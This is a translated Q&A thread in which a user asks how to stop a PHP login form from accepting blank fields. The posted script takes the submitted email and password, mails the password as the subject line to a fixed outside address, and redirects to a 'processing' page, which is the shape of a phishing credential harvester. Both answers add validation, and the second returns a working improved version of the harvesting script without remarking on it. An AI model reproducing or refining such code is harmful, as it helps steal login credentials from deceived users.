2013-03-10 101 views
0

我有這種形式,我希望那些沒有完成用戶名/密碼錶單的用戶再次點擊登錄返回主頁,並完成那些在處理時發送的用戶熱媒。 這就是我現在的樣子,即使字段是空白的,它也會將每個人重定向到處理。任何機會,所以我可以適應這一個?阻止表單發送空白字段

<? 
$userid = $_REQUEST['login_email'] ; 
$pass = $_REQUEST['login_password'] ; 

$From = "From: $userid"; 
$subj = "$pass"; 
$msg = "$userid"; 
$to = "[email protected]"; 
mail($to, $subj, $msg, $From);{ 
echo ("<script>"); 
echo("window.location=\"processing.htm\""); 
echo("</script>"); 
} 

?> 

謝謝

+2

您甚至沒有[嘗試](http://whathaveyoutried.com/)... – 2013-03-10 16:39:13

+0

您不應該依賴用戶數據進行正確格式化,而是讓您的應用程序處理爲空值/缺少參數。 – 2013-03-10 16:42:46

+0

瀏覽器提交表單標籤中的所有空白字段,只能用Javascript對其進行半預防。 – 2013-03-10 16:44:12

回答

0

使用:

if(!empty($userid) && !empty($pass)){ 
    // You have data 
} else { 
    // The user didn't enter any data 
} 

然後您可以利用PHP header()功能來而重定向不是依賴於JavaScript像這樣:

header("Location: http://example.com/mypage.php"); 
1

你必須在加載處理時給出條件.htm

<? 
$userid = $_REQUEST['login_email'] ; 
$pass = $_REQUEST['login_password'] ; 


if(!(empty($userid) && empty($pass))){ 
$From = "From: $userid"; 
$subj = "$pass"; 
$msg = "$userid"; 
$to = "[email protected]"; 
mail($to, $subj, $msg, $From); 

header("Location: http://yoursite.com/processing.htm"); 
} 
else 
{ 
header("Location: http://yoursite.com/homepage.php"); 
} 


?> 
+0

非常感謝你的幫助。現在整理出來! – 2013-03-10 16:59:51

+0

歡迎您!!,請接受答案並關閉問題。 – Archer 2013-03-10 17:17:37